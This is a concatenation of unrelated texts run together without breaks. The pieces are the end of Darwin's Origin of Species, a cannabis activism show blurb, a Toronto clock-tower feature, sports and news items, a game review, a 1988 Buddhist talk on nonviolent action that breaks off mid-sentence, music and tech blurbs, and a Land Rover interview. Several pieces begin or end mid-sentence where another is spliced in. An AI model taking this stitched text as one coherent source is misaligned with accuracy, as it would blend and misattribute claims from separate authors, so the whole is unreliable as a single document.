It may be asked how far I extend the doctrine of the modification of species. The question is difficult to answer, because the more distinct the forms are which we consider, by so much the arguments in favour of community of descent become fewer in number and less in force. But some arguments of the greatest weight extend very far. All the members of whole classes are connected together by a chain of affinities, and all can be classed on the same principle, in groups subordinate to groups. Fossil remains sometimes tend to fill up very wide intervals between existing orders.
Organs in a rudimentary condition plainly show that an early progenitor had the organ in a fully developed condition; and this in some cases implies an enormous amount of modification in the descendants. Throughout whole classes various structures are formed on the same pattern, and at a very early age the embryos closely resemble each other. Therefore I cannot doubt that the theory of descent with modification embraces all the members of the same great class or kingdom. I believe that animals are descended from at most only four or five progenitors, and plants from an equal or lesser number.
Analogy would lead me one step farther, namely, to the belief that all animals and plants are descended from some one prototype. But analogy may be a deceitful guide. Nevertheless all living things have much in common, in their chemical composition, their cellular structure, their laws of growth, and their liability to injurious influences. We see this even in so trifling a fact as that the same poison often similarly affects plants and animals; or that the poison secreted by the gallfly produces monstrous growths on the wild rose or oak-tree. With all organic beings excepting perhaps some of the very lowest, sexual production seems to be essentially similar. With all, as far as is at present known the germinal vesicle is the same; so that all organisms start from a common origin. If we look even to the two main divisions — namely, to the animal and vegetable kingdoms — certain low forms are so far intermediate in character that naturalists have disputed to which kingdom they should be referred. As Professor Asa Gray has remarked, "The spores and other reproductive bodies of many of the lower algæ may claim to have first a characteristically animal, and then an unequivocally vegetable existence." Therefore, on the principle of natural selection with divergence of character, it does not seem incredible that, from such low and intermediate form, both animals and plants may have been developed; and, if we admit this, we must likewise admit that all the organic beings which have ever lived on this earth may be descended from some one primordial form. But this inference is chiefly grounded on analogy and it is immaterial whether or not it be accepted. No doubt it is possible, as Mr. G. H. Lewes has urged, that at the first commencement of life many different forms were evolved; but if so we may conclude that only a very few have left modified descendants. For, as I have recently remarked in regard to the members of each great kingdom, such as the Vertebrata, Articulata, &c., we have distinct evidence in their embryological homologous and rudimentary structures that within each kingdom all the members are descended from a single progenitor.
When the views advanced by me in this volume, and by Mr. Wallace, or when analogous views on the origin of species are generally admitted, we can dimly foresee that there will be a considerable revolution in natural history. Systematists will be able to pursue their labours as at present; but they will not be incessantly haunted by the shadowy doubt whether this or that form be a true species. This, I feel sure and I speak after experience, will be no slight relief. The endless disputes whether or not some fifty species of British brambles are good species will cease. Systematists will have only to decide (not that this will be easy) whether any form be sufficiently constant and distinct from other forms, to be capable of definition; and if definable, whether the differences be sufficiently important to deserve a specific name. This latter point will become a far more essential consideration than it is at present; for differences, however slight, between any two forms if not blended by intermediate gradations, are looked at by most naturalists as sufficient to raise both forms to the rank of species.
Hereafter we shall be compelled to acknowledge that the only distinction between species and well-marked varieties is, that the latter are known, or believed, to be connected at the present day by intermediate gradations, whereas species were formerly thus connected. Hence, without rejecting the consideration of the present existence of intermediate gradations between any two forms we shall be led to weigh more carefully and to value higher the actual amount of difference between them. It is quite possible that forms now generally acknowledged to be merely varieties may hereafter be thought worthy of specific names; and in this case scientific and common language will come into accordance. In short, we shall have to treat species in the same manner as those naturalists treat genera, who admit that genera are merely artificial combinations made for convenience. This may not be a cheering prospect; but we shall at least be free from the vain search for the undiscovered and undiscoverable essence of the term species.
The other and more general departments of natural history will rise greatly in interest. The terms used by naturalists, of affinity, relationship, community of type, paternity, morphology, adaptive characters, rudimentary and aborted organs, &c., will cease to be metaphorical, and will have a plain signification. When we no longer look at an organic being as a savage looks at a ship, as something wholly beyond his comprehension; when we regard every production of nature as one which has had a long history; when we contemplate every complex structure and instinct as the summing up of many contrivances, each useful to the possessor, in the same way as any great mechanical invention is the summing up of the labour, the experience, the reason, and even the blunders of numerous workmen; when we thus view each organic being, how far more interesting,— I speak from experience,— does the study of natural history become!
A grand and almost untrodden field of inquiry will be opened, on the causes and laws of variation, on correlation, on the effects of use and disuse, on the direct action of external conditions, and so forth. The study of domestic productions will rise immensely in value. A new variety raised by man will be a more important and interesting subject for study than one more species added to the infinitude of already recorded species. Our classifications will come to be, as far as they can be so made, genealogies; and will then truly give what may be called the plan of creation. The rules for classifying will no doubt become simpler when we have a definite object in view. We possess no pedigrees or armorial bearings; and we have to discover and trace the many diverging lines of descent in our natural genealogies, by characters of any kind which have long been inherited. Rudimentary organs will speak infallibly with respect to the nature of long-lost structures. Species and groups of species which are called aberrant, and which may fancifully be called living fossils, will aid us in forming a picture of the ancient forms of life. Embryology will often reveal to us the structure, in some degree obscured, of the prototype of each great class.
When we feel assured that all the individuals of the same species, and all the closely allied species of most genera, have within a not very remote period descended from one parent, and have migrated from some one birth-place; and when we better know the many means of migration, then, by the light which geology now throws, and will continue to throw, on former changes of climate and of the level of the land, we shall surely be enabled to trace in an admirable manner the former migrations of the inhabitants of the whole world. Even at present, by comparing the differences between the inhabitants of the sea on the opposite sides of a continent, and the nature of the various inhabitants on that continent, in relation to their apparent means of immigration, some light can be thrown on ancient geography.
The noble science of Geology loses glory from the extreme imperfection of the record. The crust of the earth with its imbedded remains must not be looked at as a well-filled museum, but as a poor collection made at hazard and at rare intervals. The accumulation of each great fossiliferous formation will be recognised as having depended on an unusual concurrence of favourable circumstances, and the blank intervals between the successive stages as having been of vast duration. But we shall be able to gauge with some security the duration of these intervals by a comparison of the preceding and succeeding organic forms. We must be cautious in attempting to correlate as strictly contemporaneous two formations, which do not include many identical species, by the general succession of the forms of life. As species are produced and exterminated by slowly acting and still existing causes, and not by miraculous acts of creation; and as the most important of all causes of organic change is one which is almost independent of altered and perhaps suddenly altered physical conditions, namely, the mutual relation of organism to organism,— the improvement of one organism entailing the improvement or the extermination of others; it follows, that the amount of organic change in the fossils of consecutive formations probably serves as a fair measure of the relative though not actual lapse of time. A number of species, however, keeping in a body might remain for a long period unchanged, whilst within the same period several of these species by migrating into new countries and coming into competition with foreign associates, might become modified; so that we must not overrate the accuracy of organic change as a measure of time.
In the future I see open fields for far more important researches. Psychology will be securely based on the foundation already well laid by Mr. Herbert Spencer, that of the necessary acquirement of each mental power and capacity by gradation. Much light will be thrown on the origin of man and his history.
Authors of the highest eminence seem to be fully satisfied with the view that each species has been independently created. To my mind it accords better with what we know of the laws impressed on matter by the Creator, that the production and extinction of the past and present inhabitants of the world should have been due to secondary causes, like those determining the birth and death of the individual. When I view all beings not as special creations, but as the lineal descendants of some few beings which lived long before the first bed of the Cambrian system was deposited, they seem to me to become ennobled. Judging from the past, we may safely infer that not one living species will transmit its unaltered likeness to a distant futurity. And of the species now living very few will transmit progeny of any kind to a far distant futurity; for the manner in which all organic beings are grouped, shows that the greater number of species in each genus, and all the species in many genera, have left no descendants, but have become utterly extinct. We can so far take a prophetic glance into futurity as to foretell that it will be the common and widely-spread species, belonging to the larger and dominant groups within each class, which will ultimately prevail and procreate new and dominant species. As all the living forms of life are the lineal descendants of those which lived long before the Cambrian epoch, we may feel certain that the ordinary succession by generation has never once been broken, and that no cataclysm has desolated the whole world. Hence we may look with some confidence to secure future of great length. And as natural selection works solely by and for the good of each being, all corporeal and mental endowments will tend to progress towards perfection.
It is interesting to contemplate a tangled bank, clothed with many plants of many kinds, with birds singing on the bushes, with various insects flitting about, and with worms crawling through the damp earth, and to reflect that these elaborately constructed forms, so different from each other, and dependent upon each other in so complex a manner, have all been produced by laws acting around us. These laws, taken in the largest sense, being Growth with Reproduction; Inheritance which is almost implied by reproduction; Variability from the indirect and direct action of the conditions of life and from use and disuse: a Ratio of Increase so high as to lead to a Struggle for Life, and as a consequence to Natural Selection, entailing Divergence of Character and the Extinction of less-improved forms. Thus, from the war of nature, from famine and death, the most exalted object which we are capable of conceiving, namely, the production of the higher animals, directly follows. There is grandeur in this view of life, with its several powers, having been originally breathed by the Creator into a few forms or into one; and that, whilst this planet has gone cycling on according to the fixed law of gravity, from so simple a beginning endless forms most beautiful and most wonderful have been, and are being evolved.CANNABIS CULTURE – For the latest news on Marc Emery, CCHQ, and Canada’s cannabis community, watch new episodes of The Jodie Emery Show each week on Cannabis Culture. In this episode: Marc has now started his own band in prison called “Yazoo”, and Jodie gives the details including some of the songs he’ll be playing.
Jodie also shows a beautiful card that arrived from Marc and discusses some of the latest political changes in Canada.
Jack Layton, leader of the NDP (the new official opposition to Stephen Harper’s Conservatives), has passed away from cancer, leaving many questions as to the safety of the cannabis culture in Canada.
Happening October 21-23 on Vancouver Island: The first annual Michelle Rainey Legacy event – see www.MichelleRainey.com and www.420Talk.ca for info.
Watch older episodes of The Jodie Emery Show.
Write to Marc when you can, he’d love to hear from you:
MARC EMERY #40252-086
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http://www.Twitter.com/MarcScottEmeryWednesday at midday, walking across Nathan Phillips Square, I noticed the absence of something. The resounding gong of the bell on the clock tower at Old City Hall at noon — a dependable sound in a world of change — failed to sound.
I craned my neck to look at the red sandstone tower, past the gargoyles, way up to the face of the clock. The hands had stopped at 10 minutes to six.
What gives?
It appears that, like some of our citizens, the old clock does not appreciate the cold.
On Wednesday morning, Doug Kozak, supervisor in facilities at Old City Hall, contacted John Scott at his company, Scotiabell, in Hamilton. Founded in 1922 by Arthur Scott (John Scott’s uncle), Scotiabell maintains tower clocks across southern Ontario. On Thursday, Mr. Scott, whose trade is tintinnabulator, climbed the tower and restarted the clock, one of only four of its kind in the world, at 1:15 p.m.
Andrew MacLeod, a maintenance worker at Old City Hall, works in a small office on the ground floor by the sally port, where prisoners arrive for court hearings. Amid the statuary, books, photos and plants in this crowded office is a wall filled with keys. Some of these keys open the doors to the Old City Hall clock tower.
On Friday morning, Mr. McLeod leads us to an elevator and presses “1” and “3.” “Wait for me on the third floor,” he says. “I have to go clean up a coffee spill in a courtroom.”
A minute later he arrives. We walk to the building’s south end. Mr. MacLeod unlocks a door painted industrial green. “You are about to step back in time,” he says.
Behind the door survives part of the building that has not changed since Old City Hall opened in 1899. A narrow wooden staircase rises into the gloom. We clump up flight after flight, 174 wooden stairs in all, to a door.
The clock tower is unheated, and no panes cover its windows: just grilles to keep out pigeons. The January wind whips right through. Here hang the bells of the clock tower, the largest as tall as a fridge and cast with the coat of arms of the City of Toronto.
“Let’s keep going,” says Mr. MacLeod. We tackle the 50 steps of a steel spiral staircase. Then we ascend another 30 stairs.
We arrive at a spacious room built of wood, brick and steel, and painted white. Light pours in from the faces of the four clocks, one on each side of the tower. In the room’s centre is a glass box, about the size of a passenger van; inside the box whirs the movement of the clock.
“Gillett & Johnston, Clock Manufacturers and Bell Founders, Croydon, England, 1900,” reads a plaque on the clock.
There is something religious about this relic from the empire.Up here in the clock, it feels as though, well, time stands still.
And yet it moves. A bewildering array of cogs and gears and rods and paddles click and spin in sequence. Attached to the movements are rods. One floor up, four rods jut out to the faces of the clock. More rods run down to hammers, which strike the big bell, on the hour.
“I never get tired of coming up here,” says Mr. MacLeod. “It’s such a beautiful piece of machinery.”
The clock, meticulously cleaned, glimmers like a new penny. And Mr. Scott says there is life left in it yet.
“It’s an old system,” he says. “It’s completely mechanical, except they electrified the winding mechanism.”
On Thursday, Mr. Scott found the malfunction: a piece of the clockworks about “half the size of a pinball game paddle.”
“One of the cogs on the remontoire didn’t catch on the little pin,” he explains. He believes condensation got into the clockworks, and then our cold snap caused the malfunction. “The cog is a little finicky,” he says.
When the weather warms, Mr. Scott will need to stop the clock for five or six days, “take the cog off and refurbish the bushing.” Then he plans to oil up the works. “I’ve come across some really nice lubricants.”
This is comforting news.
“A clock basically tells the well-being of a community,” notes our tintinnabulator. “If it’s working, it shows everyone that this community is OK.”
As we descend, we pass the big bell. A hammer the size of a banker’s box smites the bell 12 times. It is noon in Toronto, and all is well.
National PostVictory against Manchester City would have lifted QPR out of the relegation zone
QPR have been charged by the Football Association with failing to control their players after a goal was controversially disallowed in their 2-2 draw at home to Manchester City.
Charlie Austin's early strike was ruled out as City goalkeeper Joe Hart had taken two touches to clear his penalty box with a free-kick beforehand.
Several QPR players surrounded referee Mike Dean to question the decision.
QPR boss Harry Redknapp said it was "a bit harsh" not to allow the goal.
However, Redknapp also conceded that "if that's the rule then that's the rule".
Law 13 of the game states that if a free-kick taken by a defending team inside its own penalty "is not kicked directly out of the penalty area, the kick is retaken."
QPR, who twice led against the Premier League champions before Sergio Aguero's 83rd-minute equaliser, have until 18:00 GMT on Monday, 17 November to respond to the charge.35User Rating: 3 out of 5
Review title of CageyNeptune8 Not really "Remastered" but still fun
I had an absolute blast playing this game, but it doesn't quite live up to it's "remastered" name. The graphics are updated, which is a given, so it looks better than last gen but only by a small margin. There seems to be a lot of "blur", almost as if a lot of what you're seeing isn't in focus. Besides the graphics being slightly updated there isn't a lot else done to the game. Some gun models were ported from "Dying Light" replacing various gun models that were in the game, I personally don't like this. The guns don't seem to fit in and it feels lazy. Other than this the game is about the same, it plays exactly like it did on last gen and it still has all of it's quirks and glitches. Even though I was a little disappointed by this "remastering" I still loved it and recommend it. If you are considering this game I suggest you buy the definitive collection, this way you'll be able to play Dead Island: Riptide which is more polished and much more pleasing to play.IN A first, the Rashtriya Swayamsevak Sangh (RSS) has set up street-side enrollment booths in Mumbai and the Konkan region, with a view to attract youngsters to the organisation. According to RSS office-bearers of the Konkan wing, 20 to 25 such booths have been functional for the last eight to 10 days. On an average, RSS leaders claim, each booth gets about 40 fresh registrations daily. “Ten booths are located in the Mumbai suburbs. The booths have been set up in locations where there are more youngsters and where the district centres of our organisation exist,” said one office-bearer.
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In Mumbai, the enrollment booths have been functioning at Shivaji Park in Dadar, Lokhandwala in Andheri (West), Jai Prakash Nagar in Goregaon (East), Link Road in Goregaon (West), Powai and Mulund (East), among others.
The enrollment drive comes before an outreach event for youngsters in January. “We have set up these booths as part of the Hindu Chetna Sangam to be held on January 7 in the Konkan region. It is an outreach programme intended to have a dialogue with youngsters who are curious and interested to know about the RSS. The booths are getting a good response,” said Pramod Bapat, head of communications for the RSS’s Konkan wing.
For now, the enrollment booths are functional in the weekends and on holidays, depending on the availability of Swayamsevaks. At the booths, visitors are told about the RSS’s history, its formation, information about various initiatives of the RSS for rural development, cow protection, social harmony, promotion of Swadeshi goods and others. They are also given information about RSS shakhas near their localities.
The Hindu Chetna Sangam on January 7 is a one-day event to be held simultaneously at 255 locations in Konkan. Approximately 1.25 lakh Sawayamsevaks are expected to participate. “There are several pockets and areas where there is a need to establish the various works undertaken by the RSS and to reach out to new places where the Sangh’s work has not reached so far. The Hindu Chetna Sangam is a step in that direction… The aim of the event is to take the Hindutva ideology to people in villages and to create a positive picture among them about it,” said Vitthal Kamble, joint secretary of the RSS’s Konkan region.
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As part of preparations for the event, exhibitions on the Sangh’s works, streetplays on social issues and other events were held at various places where citizens expressed their desire to be associated with the Sangh, Kamble added. “There is a need to unite good and active people in the society to achieve the Sangh’s target of taking our motherland to a supreme height,” said Kamble.In 1988, Buddhist scholar Graeme MacQueen gave a talk that explained why Buddhists should take action to stop war and its causes. Unfortunately, even the most compassionate people in our western society often find justification for doing nothing while suffering grows around them. Many Buddhists are in that frame of mind and they justify their non-action by claiming that their responsibility is soley to avoid violence in themselves. But Professor MacQueen has challenged this stance, recalling Buddhist scripture and revisiting the concept of a bodhisattva.
As Martin Luther King Jr. once said, “There comes a time when silence is betrayal.” Similarly, Professor MacQueen asks in this talk if we have the right to “give away things that don’t belong to us… the earth… species… ecosystems… the futures of our children and other people’s children.” Through silent collaboration, that is what many people are doing today.
Buddhism and Nonviolent Social Action: A Talk by Graeme MacQueen given on May 14, 1988 at the Zen Temple, Ann Arbor, Michigan.
I first encountered Buddhism in a university course on world religions. Four emphases immediately drew me to Buddhism. First was the emphasis on suffering. We begin with the experience of our own suffering, and we work from there. I thought that was a good starting point.
Second was the emphasis on compassion. It isn’t just my own suffering that I am supposed to be concerned with, it is the suffering of others — all human beings, whatever race, culture, and society, and even nonhuman living beings. They too suffer, and to be fully alive is to be sensitive to this.
Third was the emphasis on awakening, or enlightenment, the idea that it is possible in this world to achieve a breakthrough into the nature of things, and that doing so will help us to overcome suffering. I discovered that there were Buddhists who undertook this quest for the truth seriously, even passionately.
Finally, what struck me was the down-to-earth, practical nature of Buddhism. I am in pain, you are in pain. Let’s not waste time theorizing; let’s do something about our suffering.
I became involved in Buddhism at two levels — academic and personal. The academic part took up more and more of my time, and I became a graduate student in Buddhist Studies at Harvard from 1971 to ’74. Most U.S. troops had been withdrawn from Vietnam at that point but there was still massive bombing by the Air Force. At Harvard there was an emphasis on dialogue with other religious traditions. I lived in the Center for the Study of World Religions, and we spent a lot of time dialoguing. There was a great deal of good in this, but in most of my dialogues, the war — which was historically significant, and fraught with suffering for millions of people — was hardly ever talked about, and never in a formal academic setting.
So here I am, studying Buddhist culture and Buddhist religion and Buddhist languages, and here are these millions of Buddhists being driven from their homes by bombs, being deafened by bombs, being burned alive by the very country in which I am staying, and we’re not talking about it. I began to consider the dialogue phony. The real dialogue was not a dialogue of words, but of bullets, a dialogue of metal.
Not only was the dialogue bothering me, but also the quest for truth, which supposedly we, as a university community, were there for. Ironically, Harvard’s motto is “veritas,” the Latin word for truth. A noble motto for a university. But why this silence about the war? Was Harvard’s truth too noble to be involved in tacky things like human beings being bombed by B-52s? Something was wrong with Harvard’s truth.
Maybe Harvard’s truth was actually being relayed on B52s to Southeast Asia. Maybe Harvard’s truth was that white male American culture and economic structures were what everyone must have, like it or not.
It isn’t as if Harvard had nothing to do with the war. Harvard gave the world Henry Kissinger. And there was Samuel Huntington, another great “scholar” from Harvard, who still has a high position there. Sam Huntington gave us the theory of forced-draft urbanization. This means that if you want to modernize and urbanize South Vietnam in a hurry, bomb the people out of their homes in the countryside. That would force them into overcrowded cities like Saigon, where they would become dependent on a foreign military power and foreign economic handouts. They would thus be unable to support the “Viet Cong,” the resistance operating in the countryside. People like Huntington legitimized massive terrorist activities by the U.S. Air Force.
And there was also Louis Fieser, who in 1942 as a Harvard prof gave the world the gift of napalm, for which as we all know, Buddhists in Southeast Asia are so grateful. An alternative view was bravely put forward, I later learned, by the Committee of Concerned Asian Scholars, but I knew nothing of their existence while I was at Harvard.
As I reflected on these things, my discomfort increased with universities and with the North American study of Buddhism in general. When I came back to Canada in ’74, my country, despite its public image of purity and lofty ideals, was collaborating, and money was being made on the war. Within the university itself, there was the same silence about war. I began to see that major disease in the academic world — careerism, the notion that we’re here in life to build our “careers,” to achieve status, to progress through the ranks.
I came into the study of Buddhism with idealism, so the confrontation with careerism caused me pain. What happened to my questions about suffering, compassion, insight, and practical solutions to human problems — the things that had attracted me to Buddhism? Was I not playing a very different game? It seemed to me that the university had sold out. It was saying to the political authorities: We want to be comfortable, so go ahead and bomb these people. But don’t challenge tenure, don’t cut our budget. That would upset us.
Around 1980, I saw that my life was going nowhere. I was not interested in dedicating the rest of my existence to my career. Several events turned me in a different direction. At the beginning of the 1980s, this massive anti-nuclear movement began to ferment, touched off by the Reagan administration’s talk of theatre nuclear war in Europe. And Central America was on our minds. In 1980 came the Rio Sumpul massacre in El Salvador:
The first major massacre was at the Rio Sumpul on May 14th, when thousands of peasants fled to Honduras to escape an army operation. As they were crossing the river, they were attacked by helicopters, members of ORDEN, and troops. According to eyewitness testimony reported by Amnesty International and the Honduran clergy, women were tortured, nursing babies were thrown into the air for target practice, children were drowned by soldiers or decapitated or slashed to death with machetes, pieces of their bodies were thrown to dogs. Honduran soldiers drove survivors back into the hands of the Salvadoran forces. At least 600 unburied corpses were prey for dogs and buzzards while others were lost in the waters of the river, which was contaminated from the dead bodies; bodies of five children were found in a fish trap by a Honduran fisherman.
I read an account of that event that shattered my nonperception of suffering, my careerism, my silent collaboration. I knew that the U.S. was behind that action of the Salvardoran and Honduran armies. It was helping feed, clothe, train, and equip those soldiers. I didn’t yet understand that the massacre was a direct application of American strategy (with which Canada has generally collaborated) aimed at the exploitation of the region. But I knew that by not resisting, I was involved in violence. People were being killed by me.
Picture those peasants, quietly entering our room now and sitting, perhaps over there in those back seats. There’s an old man with a straw hat. A young woman with her child in this empty front seat. They are going to sit there quietly and listen to us. They are the ones who are questioning us about violence and nonviolence today. If our analyses and answers, our doctrines and sayings, our quotations from scripture, do not address their situation, we are not serious.
What do we do when we grasp the nature of structural violence and collaboration? After reading that account of Rio Sumpul, I tried to respond in a Buddhist way: to meditate, to sit down and do mindfulness practice, to try to be aware of the state of my own body and mind, to try to get some clarity.
Nice try. It didn’t work. I had to get up |
Stops is its sympathetic account of Soviet architecture and planning, which lets equal stress fall on its failures, continuities, and successes, and trains a ruthless eye on the capitalist city, which has survived by cannibalizing the Soviet legacy, building on its interstices, slathering its public spaces with advertising and cheap commerce, straining its infrastructure, and maintaining a violent divide between rich and poor.
This becomes all the more poignant when it’s enforced on an urbanism that, for all its serious flaws made a serious attempt to create an egalitarian metropolis defined by public space, equality, and planning. It is in that contrast that you can begin to understand what that elusive thing — Soviet architecture — actually was, and what distinguishes it from capitalist architecture. Appropriately, the book is made for the pocket, rather than the coffee table.Just one week before their season opener, the Illinois Fighting Illini have fired football coach Tim Beckman amid allegations of influencing medical decisions and pressuring players to play hurt, athletic director Mike Thomas announced Friday.
Thomas issued a statement that said the dismissal was related to preliminary results of an external review into the allegations, which also included efforts to avoid reporting players' injuries.
Beckman said those allegations were "utterly false" and suggested he might take legal action, calling the decision to fire him "a rush to judgment that confirms the university's bad faith."
"I firmly deny the implications in Mike's statements that I took any action that was not in the best interests of the health, safety and well-being of my players," Beckman said in a statement, noting that many of his players today indicated their support.
Former offensive lineman Simon Cvijanovic initially made allegations on Twitter in May, leading to the university's launch of the review, which is not yet complete.
"The preliminary information external reviewers shared with me does not reflect our values or our commitment to the welfare of our student-athletes, and I've chosen to act accordingly," Thomas said. "During the review, we have asked people not to rush to judgment, but I now have enough information to make this decision in assessing the status and direction of the football program."
Thomas, who informed the team Friday of the decision to fire Beckman, also said in the statement that there were instances in which players were treated inappropriately as to whether they could remain on scholarship during their senior year if they weren't on the team.
"Both of those findings are unsettling violations of University policy and practice and do not reflect the culture that we wish to create in athletic programs for our young people," Thomas said in the statement. "I expect my coaches to protect players and foster their success on and off the field."
In a news conference later Friday afternoon, Thomas said he was briefed on the initial findings of the investigations for the first time earlier this week.
"I was shocked and angry," he said. The decision to fire Beckman was "my call," Thomas said.
The school said Beckman, who went 12-25 -- and 4-20 in Big Ten play -- in three seasons at Illinois, will not receive the $3.1 million remaining on the final two years of his five-year contract.
Beckman said in a statement that the decision to fire him violated his contract, adding that he will "vigorously defend both my reputation and my legal rights."
Cvijanovic first raised his allegations on Twitter and said Beckman forced him to play through shoulder and knee injuries in 2013 and '14. He accused the team's medical staff of removing the meniscus in his left knee without his consent. A few former players came forward to echo Cvijanovic's claims.
"I'd like to say that it is definitely a step in the right direction and that, following the findings of the university, I am calling a meeting of the University of Illinois, the Big Ten and the NCAA to discuss how to move forward," Cvijanovic said. "Clearly the current system of medical reporting and student-athlete representation needs to be addressed."
Cvijanovic was among the current and former players and recruits who tweeted Friday after Beckman's firing was announced.
I appreciate all the support I have received. Huge step in bettering athletics and in helping us prevent future wrongdoings. #Illini — Simon Cvijanović (@IlliniSi) August 28, 2015
Thomas expects the findings of the review, which was conducted by an independent law firm, to be publicly released at some point during the season. More than 90 people have been interviewed and nearly 200,000 documents have been inspected during the investigation, and practice and game film have also been reviewed.
Bill Cubit, who was hired as offensive coordinator in 2013, will take over as the team's interim coach for the 2015 season, pending approval by the board of trustees. Cubit was the head coach at Western Michigan from 2005 to '12. Thomas said Cubit would be considered for the full-time head coaching job "if he's interested," though the school is a couple of months away from doing any serious work on finding Beckman's successor.
Illinois opens the season next Friday against Kent State. Thomas said firing a coach this close to the start of the season "is really foreign territory" but he believes the leadership and character of the team can help it get through the situation.
Less than an hour before the announcement, Beckman made reference to the team's upcoming opener on his Twitter account.
ESPN's Dan Murphy and The Associated Press contributed to this report.Two-piece bands are far from ubiquitous, and though they’ve been riding high since The White Stripes hit it big a decade ago—and more recently Japandroids—they’ve always succeeded by keeping the music simple and affecting. Building on the same guitar and drums foundation is New Jersey’s Dads, but instead of acquiescing guitarist Scott Scharinger and drummer John Bradley push the limits this simple set-up allows. Dads’ 2012 album American Radass (This Is Important) dealt largely in quick-paced mathematics and well-groomed hooks with few deviations (the 7-minute “Shit Twins” being the most notable exception), and with the two sharing vocal duties the members compliment each other by moving in lock-step motions and taking their songs to the brink of collapse.
Dads has only grown in stature since American Radass’ release, touring relentlessly (currently out with The World Is A Beautiful Place & I Am No Longer Afraid To Die and Pity Sex) and bringing an increased profile that sees it jumping from highly capable upstart Flannel Gurl Records to the higher-profile 6131 Records. With a new EP, Pretty Good, nearing its release on 6131, The A.V. Club has an exclusive stream of the first single, “My Crass Patch.” The track is a stylistic departure for Dads but it strikes the same balance of proficiency and punchiness that characterized the band's earlier works. Scharinger throws gravel on his usually sparkling riffs while Bradley pulls back his poeticism, letting the instruments carry the emotional weight before injecting his ruminative vocals. Dads' heart-on-sleeve earnestness has dissipated somewhat, but its increasingly diverse approach is what makes the band's songs, old and new, resonate all the more.The Adafruit store – one of the best places to bu your maker supplies – has created another interesting little project in the form of a miniscule Commodore PET.
If you don’t remember this particular vintage PC, no worries. This little creation is not a working model, but a static 3D print with an LED screen which can be programmed.
It simply consists of a 3D printed shell, a Feather M0 microcontroller, an LED matrix and a battery to power everything. Oh, and an optional sticker for an extra bit of authenticity.
As you can see in that video (and you may have guessed) it’s a touch more complex than that. Luckily, Adafruit has created a full tutorial complete with all the files to 3D print the case as well as the code to get the display to pull of these animations.
if you’re in the market for miniaturised electronics which can operate the same way their bigger versions can, check out this NES which uses NFC tags in place of catridges, which we liked a hell of a lot more than the official Nintendo Classic Mini NES.
Finally, if you’re hoping to buy the supplies to make your own Commodore PET, but you’re in the US, fear not. Adafruit recently made its products available in South Africa.
[Source – Adafruit BlogNick Saban wasn’t running for the Senate, but you’d figure his godlike status in Alabama would have netted him more write-in votes.
If legendary University of Alabama football coach Nick Saban needs any additional motivation to stick to sports — his Crimson Tide begins its national championship playoff run on New Year’s Day — it may have been supplied by Alabama voters on December 12. Despite considerable advance speculation that write-in votes for Saban might exceed the margin of victory between Democrat Doug Jones and Republican Roy Moore, preliminary results tabulated by Alabama news media indicated that the five-time national title winner finished well down the list of people who together registered about 22,000 votes. Given the choice of an alleged sex predator and [gasp] a Democrat, a fair number of people looked elsewhere, but not that many looked to the Overlord of Tuscaloosa.
Perhaps it was no surprise that sitting Senator Luther Strange, who lost the GOP nomination for the seat to Roy Moore, pulled the most write-in votes, at 5,822 (with quite a few counties left to report). Another former candidate, U.S. Representative Mo Brooks, who finished third in the first round of the GOP nominating contest, was the favorite of many hard-core conservatives who had issues with Moore; so it makes sense he’d get just under 1,000 votes. And Republicans looking for an alternative to Moore would naturally be drawn to the man who occupied the Senate seat for 20 years before becoming attorney general: Jeff Sessions, who received 267 votes in preliminary results.
But it was more shocking that Saban also received less support than write-in candidate Some Dude Lee Busby and also Libertarian Ron Bishop. Indeed, the coach that many Alabama fans dare compare to the godlike Bear Bryant basically finished tied for sixth with Chandra Mills Crutcher, a religious leader with a strong local following in Huntsville. As of this moment, Saban has received a distinctly mediocre 264 Senate votes. He did do better than arch-rival Auburn coach Gus Malzahn (whose team defeated the Crimson Tide this year in a bigger upset than Jones’s victory over Moore). But the poor showing was another setback for Saban that can only be redeemed by another national championship. Be forewarned, Alabama foes: Nick Saban has been disrespected.Share
Sometimes it takes a startup riding a tidal wave of social buzz to stir up the automotive industry – but not always. For an established, upscale brand like Land Rover to shake things up, the same old procedures and hierarchies must yield to more nimble, idea-fueled basics. This strategy won’t gel with every organization, but with the right leadership and training, innovation is possible.-
What we’re seeing out of Land Rover these days certainly speaks to a renovation of perspective. At this year’s LA Auto Show, the British luxury manufacturer put its Special Vehicle Operations (SVO) division front and center, introducing its most luxurious (Range Rover SVAutobiography), most powerful (Range Rover Sport SVR), and most capable (Discovery SVX) offerings to date. Such diversity of pinnacle products isn’t seen anywhere else in the luxury automotive sector.
What we’re seeing out of Land Rover these days speaks to a renovation of perspective.
But SVO is only part of Land Rover’s trend-setting push. In October, the company announced it would add some form of electrification to every one of its models, starting with the 2019 Range Rover and Range Rover Sport P400E (which will, coincidentally be the first production plug-in hybrid SUVs). In just over two years, Land Rover will go from zero to 100-percent electric assistance – if that isn’t startup-like agility, we aren’t sure what is.
By the way, there’s a big difference between electric and electrified vehicles, which we have covered in depth.
How is Land Rover pivoting and diversifying so successfully, and what will happen to the brand’s products when they’re mated to a battery? Digital Trends sat down with Land Rover’s Global Product Marketing Director, Finbar McFall to find out.
Neilson Barnard/Getty Images
Digital Trends: You’ve given yourself a narrow timeline to make full-lineup electrification possible. How will you make this happen, and do you really think electrification make sense for every model?
We’re genuinely excited about living through this period of change.
Finbar McFall: We’re genuinely excited about this – living through this period of change. If you look around the car industry, you won’t find a comparable endeavor. So part of the push is fueled by our excitement, but we also think it’s possible because of how we’re planning different forms of electrification based on the vehicle. Some will be full EVs, some plug-ins, and some mild hybrids – and we’ll apply them appropriately. Like everyone else, we know that electrification is coming. When the inflection point will hit, we don’t know, but for us, it’s about broadening the offer: petrol, diesel, and electrification. We’ll make petrol and diesel as efficient as possible, and then complement those powertrains with appropriate electrification – done in a way that fits with the brand. The offer doesn’t change, the brand and what it stands for doesn’t change, we’re just expressing it in a new, contemporary way.
Walk us through the new plug-in hybrid Range Rover models and how you used electrification to enhance traditional Land Rover driving dynamics
We aren’t looking to make a better version of someone else’s car; we’re looking to make a better Jaguar or Land Rover.
